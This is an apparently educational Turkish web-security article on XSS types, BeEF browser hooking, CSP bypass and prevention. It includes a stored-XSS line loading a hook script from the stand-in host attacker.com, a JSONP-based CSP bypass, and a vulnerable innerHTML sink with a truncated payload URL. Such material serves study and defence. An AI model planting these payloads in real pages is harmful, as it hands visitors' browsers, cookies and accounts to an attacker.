XSS'ten Hesap Ele Geçirmeye: DOM Tabanlı ve Stored XSS Saldırı Zinciri
Araştırma Kategorisi • Web Uygulama Güvenliği
XSS'ten Hesap Ele Geçirmeye: DOM Tabanlı ve Stored XSS Saldırı Zinciri
Cross-Site Scripting (XSS), hedefin tarayıcısında JavaScript çalıştırmanın ötesinde; çerez hırsızlığı, keylogger kurma, tarayıcı kamerasına erişim ve tam hesap ele geçirme gibi zincirlenmiş saldırıların başlangıç noktasıdır. Bu makalede üç XSS türünü, gerçek bir saldırı senaryosunu ve CSP bypass yöntemlerini inceliyoruz.
1. Üç XSS Türü Arasındaki Kritik Farklar
| Tür | Kalıcılık | Konum | Hedef Sayısı |
|---|---|---|---|
| Reflected | Geçici | URL parametresi | Linke tıklayan kişi |
| Stored | Kalıcı (DB) | Yorum/profil/mesaj | Sayfayı ziyaret eden herkes |
| DOM-Based | Geçici | Tarayıcı DOM'u | Linke tıklayan kişi |
2. DOM-Based XSS: Sunucu Taraflı Hiçbir İz Bırakmaz
DOM-Based XSS'te zararlı kod sunucuya hiç ulaşmaz. Tarayıcının kendi JavaScript'i kullanıcı verisini güvenli olmayan kaynaklardan (Source) alıp güvenli olmayan fonksiyonlara (Sink) aktarır.
Tehlikeli Kaynaklar (Sources)
document.location.href
location.search
document.referrer
Tehlikeli Hedefler (Sinks)
element.innerHTML
document.write()
eval()
var search = location.search.substring(1);
document.getElementById('result').innerHTML = 'Aranan: ' + search;
// Saldırı URL'si
https://site.com/search?<img src=x
3. BeEF ile Tarayıcı Sömürüsü (Browser Exploitation Framework)
BeEF, XSS ile kurbanın tarayıcısını hook ederek komuta-kontrol sunucusuna bağlar. Çerez çalmak, keylogger kurmak, form phishing göstermek, ağ içi port taraması yapmak mümkün hale gelir.
<script src="http://attacker.com:3000/hook.js"></script>
// Zararlı yorum kaydedildiğinde sayfayı ziyaret eden
// HER kullanıcı BeEF paneline düşer.
4. Content Security Policy (CSP) ve Bypass Teknikleri
CSP, hangi kaynakların script yükleyebileceğini belirten bir HTTP başlığıdır. Ancak yanlış yapılandırılmış CSP'ler bypass edilebilir.
Content-Security-Policy: script-src 'self' 'unsafe-inline' https://cdn.jquery.com
# Bypass: jQuery CDN üzerindeki JSONP endpoint'i kullan
<script src="https://cdn.jquery.com/jsonp?callback=alert"></script>
Güvenli CSP; nonce veya hash tabanlı olmalı, unsafe-inline ve unsafe-eval içermemeli, wildcard (*) kullanılmamalıdır.
5. Önleme Stratejileri
- ✓ Tüm kullanıcı çıktıları için context-aware output encoding kullanın (HTML, JavaScript, URL, CSS bağlamına göre).
- ✓ innerHTML yerine textContent kullanın.
- ✓ Çerezlere HttpOnly ve Secure bayrakları ekleyin.
- ✓ Nonce tabanlı sıkı bir CSP politikası uygulayın.